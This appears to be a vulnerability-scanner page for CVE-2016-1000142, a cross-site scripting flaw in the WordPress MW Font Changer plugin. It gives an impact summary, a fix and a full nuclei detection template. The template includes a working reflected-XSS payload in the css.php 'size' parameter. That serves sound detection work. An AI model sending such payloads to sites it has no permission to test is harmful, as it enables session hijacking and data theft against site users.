WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.4%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Allows remote attackers to execute arbitrary script or HTML code in the context of the affected site, potentially leading to session hijacking, defacement, or data theft.

Fix

Update to the latest version of the WordPress MW Font Changer plugin (4.2.5) or remove the plugin if it is not necessary.

How to confirm it

Send: GET /wp-content/plugins/parsi-font/readme.txt
Positive when: contains "WP-Parsi Admin Font Editor" or "MW Font Changer"
Send: GET {{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000142 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000142

info:
  name: WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Allows remote attackers to execute arbitrary script or HTML code in the context of the affected site, potentially leading to session hijacking, defacement, or data theft.
  remediation: |
    Update to the latest version of the WordPress MW Font Changer plugin (4.2.5) or remove the plugin if it is not necessary.
  reference:
    - https://wpscan.com/vulnerability/4ff5d65a-ba61-439d-ab7f-745a0648fccc
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=435
    - https://wordpress.org/plugins/parsi-font
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000142
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000142
    cwe-id: CWE-79
    epss-score: 0.04448
    epss-percentile: 0.91492
    cpe: cpe:2.3:a:parsi-font_project:parsi-font:4.2.5:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "parsi-font_project"
    product: "parsi-font"
    framework: wordpress
  tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan,parsi-font_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/parsi-font/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP-Parsi Admin Font Editor'
          - 'MW Font Changer'
        condition: or

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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